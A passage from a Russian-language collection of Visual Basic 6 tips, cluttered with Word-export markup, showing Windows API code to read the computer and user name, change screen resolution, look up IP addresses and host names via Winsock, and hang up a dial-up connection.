lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>Call DownloadFile("http://visual-basic.nm.ru/Banner.gif", "c:\Banner.gif")

End Sub

36. Получить имя компьютера и имя пользователя

style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function GetComputerNameA Lib "kernel32" (ByVal lpBuffer As String, nSize As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function WNetGetUserA Lib "mpr.dll" (ByVal lpName As String, ByVal lpUserName As String, lpnLength As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Function GetComputerName() As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim sBuffer As String * 255

lang=EN-US style='mso-ansi-language:EN-US'>If GetComputerNameA(sBuffer, 255&) <> 0 Then

lang=EN-US style='mso-ansi-language:EN-US'>GetComputerName = Left$(sBuffer, InStr(sBuffer, vbNullChar) - 1)

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Function GetUserName() As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim sUserNameBuff As String * 255

lang=EN-US style='mso-ansi-language:EN-US'>sUserNameBuff = Space(255)

lang=EN-US style='mso-ansi-language:EN-US'>Call WNetGetUserA(vbNullString, sUserNameBuff, 255&)

lang=EN-US style='mso-ansi-language:EN-US'>GetUserName = Left$(sUserNameBuff, InStr(sUserNameBuff, vbNullChar) - 1)

End Function

37. Изменить разрешение экрана

'Ваш монитор должен поддерживать задаваемое разрешение !

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function ChangeDisplaySettings Lib "user32" Alias _

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>"ChangeDisplaySettingsA" (lpDevMode As Any, ByVal dwflags As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function EnumDisplaySettings Lib "user32" Alias _

lang=EN-US style='mso-ansi-language:EN-US'>"EnumDisplaySettingsA" (ByVal lpszDeviceName As Long, ByVal iModeNum As

lang=EN-US style='mso-ansi-language:EN-US'>Long, lpDevMode As Any) As Boolean

lang=EN-US style='mso-ansi-language:EN-US'>Const DM_PELSWIDTH = &H80000

lang=EN-US style='mso-ansi-language:EN-US'>Const DM_PELSHEIGHT = &H100000

lang=EN-US style='mso-ansi-language:EN-US'>Const CCFORMNAME = 32

lang=EN-US style='mso-ansi-language:EN-US'>Const CCDEVICENAME = 32

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Type DEVMODE

lang=EN-US style='mso-ansi-language:EN-US'>dmDeviceName As String * CCDEVICENAME

lang=EN-US style='mso-ansi-language:EN-US'>dmSpecVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmDriverVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmSize As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmDriverExtra As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmFields As Long

lang=EN-US style='mso-ansi-language:EN-US'>dmOrientation As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmPaperSize As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmPaperLength As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmPaperWidth As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmScale As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmCopies As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmDefaultSource As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmPrintQuality As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmColor As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmDuplex As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmYResolution As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmTTOption As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmCollate As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmFormName As String * CCFORMNAME

lang=EN-US style='mso-ansi-language:EN-US'>dmUnusedPadding As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmBitsPerPel As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dmPelsWidth As Long

lang=EN-US style='mso-ansi-language:EN-US'>dmPelsHeight As Long

lang=EN-US style='mso-ansi-language:EN-US'>dmDisplayFlags As Long

lang=EN-US style='mso-ansi-language:EN-US'>dmDisplayFrequency As Long

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub ChangeResolution(iWidth As Single, iHeight As Single)

lang=EN-US style='mso-ansi-language:EN-US'>Dim DevM As DEVMODE

lang=EN-US style='mso-ansi-language:EN-US'>Dim a As Boolean

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim b As Long

lang=EN-US style='mso-ansi-language:EN-US'>i = 0

lang=EN-US style='mso-ansi-language:EN-US'>Do

lang=EN-US style='mso-ansi-language:EN-US'>a = EnumDisplaySettings(0&, i&, DevM)

lang=EN-US style='mso-ansi-language:EN-US'>i = i + 1

lang=EN-US style='mso-ansi-language:EN-US'>Loop Until (a = False)

lang=EN-US style='mso-ansi-language:EN-US'>DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT

lang=EN-US style='mso-ansi-language:EN-US'>DevM.dmPelsWidth = iWidth

lang=EN-US style='mso-ansi-language:EN-US'>DevM.dmPelsHeight = iHeight

lang=EN-US style='mso-ansi-language:EN-US'>b = ChangeDisplaySettings(DevM, 0)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>ChangeResolution 640, 480

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

38. Получить IP адрес

lang=EN-US style='mso-ansi-language:EN-US'>

'Вставьте следующий код в событие формы

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Form_Load()

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "IP Host Name: " & GetIPHostName()

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "IP Address: " & GetIPAddress()

End Sub

'Добавьте модуль в проект

lang=EN-US style='mso-ansi-language:EN-US'>Public Const MAX_WSADescription = 256

lang=EN-US style='mso-ansi-language:EN-US'>Public Const MAX_WSASYSStatus = 128

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_SUCCESS As Long = 0

lang=EN-US style='mso-ansi-language:EN-US'>Public Const WS_VERSION_REQD As Long = &H101

lang=EN-US style='mso-ansi-language:EN-US'>Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const MIN_SOCKETS_REQD As Long = 1

lang=EN-US style='mso-ansi-language:EN-US'>Public Const SOCKET_ERROR As Long = -1

lang=EN-US style='mso-ansi-language:EN-US'>Public Type HOSTENT

lang=EN-US style='mso-ansi-language:EN-US'>hName As Long

lang=EN-US style='mso-ansi-language:EN-US'>hAliases As Long

lang=EN-US style='mso-ansi-language:EN-US'>hAddrType As Integer

lang=EN-US style='mso-ansi-language:EN-US'>hLen As Integer

lang=EN-US style='mso-ansi-language:EN-US'>hAddrList As Long

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Public Type WSADATA

lang=EN-US style='mso-ansi-language:EN-US'>wVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>wHighVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>szDescription(0 To MAX_WSADescription) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szSystemStatus(0 To MAX_WSASYSStatus) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>wMaxSockets As Integer

lang=EN-US style='mso-ansi-language:EN-US'>wMaxUDPDG As Integer

lang=EN-US style='mso-ansi-language:EN-US'>dwVendorInfo As Long

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal

lang=EN-US style='mso-ansi-language:EN-US'>wVersionRequired As Long, lpWSADATA As WSADATA) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function gethostname Lib "WSOCK32.DLL" (ByVal szHost As

lang=EN-US style='mso-ansi-language:EN-US'>String, ByVal dwHostLen As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function gethostbyname Lib "WSOCK32.DLL" (ByVal szHost As

lang=EN-US style='mso-ansi-language:EN-US'>String) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory"

lang=EN-US style='mso-ansi-language:EN-US'>(hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)

lang=EN-US style='mso-ansi-language:EN-US'>Public Function GetIPAddress() As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim sHostName As String * 256

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpHost As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim HOST As HOSTENT

lang=EN-US style='mso-ansi-language:EN-US'>Dim dwIPAddr As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim tmpIPAddr() As Byte

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Integer

lang=EN-US style='mso-ansi-language:EN-US'>Dim sIPAddr As String

lang=EN-US style='mso-ansi-language:EN-US'>If Not SocketsInitialize() Then

lang=EN-US style='mso-ansi-language:EN-US'>GetIPAddress = ""

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>If gethostname(sHostName, 256) = SOCKET_ERROR Then

lang=EN-US style='mso-ansi-language:EN-US'>GetIPAddress = ""

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & " has

lang=EN-US style='mso-ansi-language:EN-US'>occurred. Unable to successfully get Host Name."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsCleanup

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>sHostName = Trim$(sHostName)

lang=EN-US style='mso-ansi-language:EN-US'>lpHost = gethostbyname(sHostName)

lang=EN-US style='mso-ansi-language:EN-US'>If lpHost = 0 Then

lang=EN-US style='mso-ansi-language:EN-US'>GetIPAddress = ""

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "Windows Sockets are not responding. " & "Unable to successfully

lang=EN-US style='mso-ansi-language:EN-US'>get Host Name."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsCleanup

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory HOST, lpHost, Len(HOST)

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory dwIPAddr, HOST.hAddrList, 4

lang=EN-US style='mso-ansi-language:EN-US'>ReDim tmpIPAddr(1 To HOST.hLen)

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen

lang=EN-US style='mso-ansi-language:EN-US'>For i = 1 To HOST.hLen

lang=EN-US style='mso-ansi-language:EN-US'>sIPAddr = sIPAddr & tmpIPAddr(i) & "."

lang=EN-US style='mso-ansi-language:EN-US'>Next

lang=EN-US style='mso-ansi-language:EN-US'>GetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)

lang=EN-US style='mso-ansi-language:EN-US'>SocketsCleanup

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>Public Function GetIPHostName() As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim sHostName As String * 256

lang=EN-US style='mso-ansi-language:EN-US'>If Not SocketsInitialize() Then

lang=EN-US style='mso-ansi-language:EN-US'>GetIPHostName = ""

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>If gethostname(sHostName, 256) = SOCKET_ERROR Then

lang=EN-US style='mso-ansi-language:EN-US'>GetIPHostName = ""

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & " has

lang=EN-US style='mso-ansi-language:EN-US'>occurred. Unable to successfully get Host Name."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsCleanup

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>GetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)

lang=EN-US style='mso-ansi-language:EN-US'>SocketsCleanup

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>Public Function HiByte(ByVal wParam As Integer)

lang=EN-US style='mso-ansi-language:EN-US'>HiByte = wParam \ &H100 And &HFF&

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>Public Function LoByte(ByVal wParam As Integer)

lang=EN-US style='mso-ansi-language:EN-US'>LoByte = wParam And &HFF&

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>Public Sub SocketsCleanup()

lang=EN-US style='mso-ansi-language:EN-US'>If WSACleanup() <> ERROR_SUCCESS Then

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "Socket error occurred in Cleanup."

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>Public Function SocketsInitialize() As Boolean

lang=EN-US style='mso-ansi-language:EN-US'>Dim WSAD As WSADATA

lang=EN-US style='mso-ansi-language:EN-US'>Dim sLoByte As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim sHiByte As String

lang=EN-US style='mso-ansi-language:EN-US'>If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "The 32-bit Windows Socket is not responding."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsInitialize = False

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "This application requires a minimum of " & CStr(MIN_SOCKETS_REQD)

lang=EN-US style='mso-ansi-language:EN-US'>& " supported sockets."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsInitialize = False

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or (LoByte(WSAD.wVersion) =

lang=EN-US style='mso-ansi-language:EN-US'>WS_VERSION_MAJOR And HiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then

lang=EN-US style='mso-ansi-language:EN-US'>sHiByte = CStr(HiByte(WSAD.wVersion))

lang=EN-US style='mso-ansi-language:EN-US'>sLoByte = CStr(LoByte(WSAD.wVersion))

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox "Sockets version " & sLoByte & "." & sHiByte & " is not supported

lang=EN-US style='mso-ansi-language:EN-US'>by 32-bit Windows Sockets."

lang=EN-US style='mso-ansi-language:EN-US'>SocketsInitialize = False

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>SocketsInitialize = True

End Function

39. Определение имени или IP-адреса удаленного компьютера

style="mso-spacerun: yes">

'Добавьте модуль, и CommandButton.

lang=EN-US style='mso-ansi-language:EN-US'>' КОД style='mso-ansi-language:EN-US'> ФОРМЫ lang=EN-US style='mso-ansi-language: EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

'Вначале вы должны инициализировать winsock

WinsockInit

'Определение имени машины, зная ее IP-адрес

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox HostByAddress("192.168.1.1")

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox HostByAddress("192.168.1.2")

'Определение IP-адреса машины, зная ее имя

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox HostByName("GARIK")

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox HostByName("OKSANA")

'В конце работы вы должны использовать функцию lang=EN-US style='mso-ansi-language:EN-US'>WSACleanUp

lang=EN-US style='mso-ansi-language:EN-US'>WSACleanUp

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>' КОД style='mso-ansi-language:EN-US'> МОДУЛЯ lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Option Explicit

lang=EN-US style='mso-ansi-language:EN-US'>Public Const SOCKET_ERROR = -1

lang=EN-US style='mso-ansi-language:EN-US'>Public Const AF_INET = 2

lang=EN-US style='mso-ansi-language:EN-US'>Public Const PF_INET = AF_INET

lang=EN-US style='mso-ansi-language:EN-US'>Public Const MAXGETHOSTSTRUCT = 1024

lang=EN-US style='mso-ansi-language:EN-US'>Public Const SOCK_STREAM = 1

lang=EN-US style='mso-ansi-language:EN-US'>Public Const MSG_PEEK = 2

lang=EN-US style='mso-ansi-language:EN-US'>Private Type SockAddr

lang=EN-US style='mso-ansi-language:EN-US'>sin_family As Integer

lang=EN-US style='mso-ansi-language:EN-US'>sin_port As Integer

lang=EN-US style='mso-ansi-language:EN-US'>sin_addr As String * 4

lang=EN-US style='mso-ansi-language:EN-US'>sin_zero As String * 8

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Private Type T_WSA

lang=EN-US style='mso-ansi-language:EN-US'>wVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>wHighVersion As Integer

lang=EN-US style='mso-ansi-language:EN-US'>szDescription(0 To 255) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szSystemStatus(0 To 128) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>iMaxSockets As Integer

lang=EN-US style='mso-ansi-language:EN-US'>iMaxUdpDg As Integer

lang=EN-US style='mso-ansi-language:EN-US'>lpVendorInfo As Long

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Dim WSAData As T_WSA

lang=EN-US style='mso-ansi-language:EN-US'>Type Inet_Address

lang=EN-US style='mso-ansi-language:EN-US'>Byte4 As String * 1

lang=EN-US style='mso-ansi-language:EN-US'>Byte3 As String * 1

lang=EN-US style='mso-ansi-language:EN-US'>Byte2 As String * 1

lang=EN-US style='mso-ansi-language:EN-US'>Byte1 As String * 1

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Public IPStruct As Inet_Address

lang=EN-US style='mso-ansi-language:EN-US'>Public Type T_Host

lang=EN-US style='mso-ansi-language:EN-US'>h_name As Long

lang=EN-US style='mso-ansi-language:EN-US'>h_aliases As Long

lang=EN-US style='mso-ansi-language:EN-US'>h_addrtype As Integer

lang=EN-US style='mso-ansi-language:EN-US'>h_length As Integer

lang=EN-US style='mso-ansi-language:EN-US'>h_addr_list As Long

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Dest As

lang=EN-US style='mso-ansi-language:EN-US'>Any, Src As Any, ByVal cb&)

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function gethostbyaddr Lib "wsock32.dll" (addr As Long, ByVal

lang=EN-US style='mso-ansi-language:EN-US'>addr_len As Long, ByVal addr_type As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function inet_addr Lib "wsock32.dll" (ByVal addr As String) As

lang=EN-US style='mso-ansi-language:EN-US'>Long

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname"

lang=EN-US style='mso-ansi-language:EN-US'>(ByVal HostName As String) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function GetHostName Lib "wsock32.dll" Alias "gethostname" (ByVal

lang=EN-US style='mso-ansi-language:EN-US'>HostName As String, HostLen As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function WSAStartup Lib "wsock32.dll" (ByVal a As Long, b As

lang=EN-US style='mso-ansi-language:EN-US'>T_WSA) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Declare Function WSACleanUp Lib "wsock32.dll" Alias "WSACleanup" () As

lang=EN-US style='mso-ansi-language:EN-US'>Integer

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Function HostByName(sHost As String) As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim s As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim p As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim Host As T_Host

lang=EN-US style='mso-ansi-language:EN-US'>Dim ListAddress As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim ListAddr As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim Address As Long

lang=EN-US style='mso-ansi-language:EN-US'>s = String(64, 0)

lang=EN-US style='mso-ansi-language:EN-US'>sHost = sHost + Right(s, 64 - Len(sHost))

lang=EN-US style='mso-ansi-language:EN-US'>p = GetHostByName(sHost)

lang=EN-US style='mso-ansi-language:EN-US'>If p = SOCKET_ERROR Then

lang=EN-US style='mso-ansi-language:EN-US'>Exit Function

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>If p <> 0 Then

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory Host.h_name, ByVal p, Len(Host)

lang=EN-US style='mso-ansi-language:EN-US'>ListAddress = Host.h_addr_list

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory ListAddr, ByVal ListAddress, 4

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory Address, ByVal ListAddr, 4

lang=EN-US style='mso-ansi-language:EN-US'>HostByName = InetAddrLongToString(Address)

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>HostByName = "No DNS Entry"

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Function InetAddrLongToString(Address As Long) As String

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory IPStruct, Address, 4

lang=EN-US style='mso-ansi-language:EN-US'>InetAddrLongToString = CStr(Asc(IPStruct.Byte4)) + "." +

lang=EN-US style='mso-ansi-language:EN-US'>CStr(Asc(IPStruct.Byte3)) + "." + CStr(Asc(IPStruct.Byte2)) + "." +

lang=EN-US style='mso-ansi-language:EN-US'>CStr(Asc(IPStruct.Byte1))

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Function HostByAddress(ByVal sAddress As String) As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim lAddress As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim p As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim HostName As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim Host As T_Host

lang=EN-US style='mso-ansi-language:EN-US'>lAddress = inet_addr(sAddress)

lang=EN-US style='mso-ansi-language:EN-US'>p = gethostbyaddr(lAddress, 4, PF_INET)

lang=EN-US style='mso-ansi-language:EN-US'>If p <> 0 Then

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory Host, ByVal p, Len(Host)

lang=EN-US style='mso-ansi-language:EN-US'>HostName = String(256, 0)

lang=EN-US style='mso-ansi-language:EN-US'>CopyMemory ByVal HostName, ByVal Host.h_name, 256

lang=EN-US style='mso-ansi-language:EN-US'>If HostName = "" Then HostByAddress = "Unable to Resolve Address"

lang=EN-US style='mso-ansi-language:EN-US'>HostByAddress = Left(HostName, InStr(HostName, Chr(0)) - 1)

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>HostByAddress = "No DNS Entry"

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Public Sub WinsockInit()

lang=EN-US style='mso-ansi-language:EN-US'>WSAStartup &H101, WSAData

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

40. Программно отсоединиться от Интернета

lang=EN-US style='mso-ansi-language:EN-US'>

style="mso-spacerun: yes">

'Добавьте на форму CommandButton

lang=EN-US style='mso-ansi-language:EN-US'>Const RAS_MAXENTRYNAME As Integer = 256

lang=EN-US style='mso-ansi-language:EN-US'>Const RAS_MAXDEVICETYPE As Integer = 16

lang=EN-US style='mso-ansi-language:EN-US'>Const RAS_MAXDEVICENAME As Integer = 128

lang=EN-US style='mso-ansi-language:EN-US'>Const RAS_RASCONNSIZE As Integer = 412

lang=EN-US style='mso-ansi-language:EN-US'>Const ERROR_SUCCESS = 0&

lang=EN-US style='mso-ansi-language:EN-US'>Private Type RasEntryName

lang=EN-US style='mso-ansi-language:EN-US'>dwSize As Long

lang=EN-US style='mso-ansi-language:EN-US'>szEntryName(RAS_MAXENTRYNAME) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Private Type RasConn

lang=EN-US style='mso-ansi-language:EN-US'>dwSize As Long

lang=EN-US style='mso-ansi-language:EN-US'>hRasConn As Long

lang=EN-US style='mso-ansi-language:EN-US'>szEntryName(RAS_MAXENTRYNAME) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceType(RAS_MAXDEVICETYPE) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceName(RAS_MAXDEVICENAME) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function RasEnumConnections Lib "rasapi32.dll" Alias

lang=EN-US style='mso-ansi-language:EN-US'>"RasEnumConnectionsA" (lpRasConn As Any, lpcb As Long, lpcConnections As

lang=EN-US style='mso-ansi-language:EN-US'>Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function RasHangUp Lib "rasapi32.dll" Alias "RasHangUpA"

lang=EN-US style='mso-ansi-language:EN-US'>(ByVal hRasConn As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private gstrISPName As String

lang=EN-US style='mso-ansi-language:EN-US'>Public ReturnCode As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Sub HangUp()

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpRasConn(255) As RasConn

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpcb As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpcConnections As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim hRasConn As Long

lang=EN-US style='mso-ansi-language:EN-US'>lpRasConn(0).dwSize = RAS_RASCONNSIZE

lang=EN-US style='mso-ansi-language:EN-US'>lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize

lang=EN-US style='mso-ansi-language:EN-US'>lpcConnections = 0

lang=EN-US style='mso-ansi-language:EN-US'>ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)

lang=EN-US style='mso-ansi-language:EN-US'>If ReturnCode = ERROR_SUCCESS Then

lang=EN-US style='mso-ansi-language:EN-US'>For i = 0 To lpcConnections - 1

lang=EN-US style='mso-ansi-language:EN-US'>If Trim(ByteToString(lpRasConn(i).szEntryName)) = Trim(gstrISPName) Then

